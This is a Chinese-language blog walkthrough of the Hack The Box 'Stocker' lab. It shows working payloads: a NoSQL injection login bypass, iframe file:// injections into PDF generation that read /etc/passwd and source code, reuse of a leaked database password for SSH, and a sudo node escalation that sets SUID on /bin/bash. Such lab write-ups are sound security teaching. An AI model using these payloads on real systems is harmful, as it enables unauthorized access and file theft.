HTB-Stocker

OverView

考点:nosql 注入绕过鉴权,xss pdf 读取本地文件,mongodb url, sudo 提权

Enumeration

nmap

$ nmap  -sCV -T4 10.129.135.121 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-17 21:35 CST
Nmap scan report for 10.129.135.121
Host is up (0.53s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.92 seconds

Subdomain-Gather

子域名

sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://stocker.htb" -H "host:FUZZ.stocker.htb" --hl 7

image-20230117215054890

Nosql-bypass

主站和 dev 域名的站点都进行了目录扫描,但是没有任何结果。主站只有一个静态页面。但是 dev 站点只有一个登录界面

image-20230117232512274

发现没有办法 sql 注入,但这是一个 nodejs 搭建的站点,考虑 nosql 注入

image-20230117232649718

将 post 的数据改为 json

{"username": {"$ne": null}, "password": {"$ne": null} }

并将 http 数据包中原本的 Content-Type: application/x-www-form-urlencoded 改为 Content-Type: application/json 发现能够登录成功

image-20230117232857211

登录进去后是一个购买结算功能的界面,发现当进行结算的时候会将账单转为 pdf

image-20230117233156621

image-20230117233044929

XSS-PDF read file

测试是否存在 xss pdf。https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

image-20230117233537783

访问生成的 pdf 可以确定存在

image-20230117233556982

将 payload 修改为:

<iframe height='1000' width='800'  src=file:///etc/passwd></iframe>

可以读到

image-20230117234519290

考虑到站点时 nodejs,子域名是 dev 因此尝试读取 /var/www/dev/index.js

<iframe height='1000' width='800'  src=file:///var/www/dev/index.js></iframe>

image-20230117234742603

Foothold

user.txt

可以看到 mongodb 连接数据库的 url

mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1

而这个 url 的格式是:

mongodb://username:password@host:port/database

因此尝试猜测 ssh 的密码为IHeardPassphrasesArePrettySecure 用户名根据之前读的 /etc/passwd 尝试 angoose 进行连接,成功。

root.txt

接下来是简单的提权时间

image-20230117235115095

sudo -l 可以发现当前用户可以不输入密码以 root 权限调用 /usr/bin/node

因此我们在 /tmp 目录下写下一个 1.js 执行命令,内容如下

const { exec } = require('child_process');
exec('chmod +s /bin/bash');

然后执行

sudo /usr/bin/node /usr/local/scripts/../../../tmp/1.js

一气呵成

image-20230117235512561

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇